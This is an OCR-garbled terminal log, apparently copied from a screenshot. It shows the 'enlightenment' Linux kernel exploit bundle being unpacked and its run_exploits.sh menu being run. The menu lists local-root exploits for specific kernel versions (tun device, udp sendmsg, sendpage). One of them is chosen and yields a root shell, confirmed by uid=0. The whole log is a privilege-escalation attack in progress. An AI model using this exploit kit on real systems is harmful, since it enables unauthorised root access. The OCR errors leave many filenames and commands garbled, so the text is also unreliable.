tar -xvef enlightenment-021009.Tg=
enlightenment/
Enlightenmentfexp_framewnrk.h
EnlightenmentfExp_cheddarhay.c
enlightenment/punkernel .o
Enlightenmentfexp_therebel.c
Enlightenmentfrun_explnits.sh
Enlightenmentfexp_wunderhar.c
enlightenment/exploit.c
cd enlightemment/
run exploits.sh
fhindhbash: line 11: run exploits.sh: command not found
SJrun exploits.sh
Compiling exp cheddarbay.c...
Compiling exp therebel.c...
Compiling exp wunderbar.c...
[+] MAPFPEL ZERD PAGE!
Choose ywour exploit:
[0] Cheddar Bay: Linux 2.6.30/2.6.30.1 fdevi/net/tun local root
[1] The Febel: Linux < Z.6.19 udp sendmsg()] local root
[2] Wunderbar Emporiwmn: Linux 2.X sendpage ()] local root
[3] Exit
> 2
sh: no jobh control in this shell
Stmpfenlightemnment # id
uid=0({root] gid=0(root] groups=35[wwy]
Stmpfenlightenment # I
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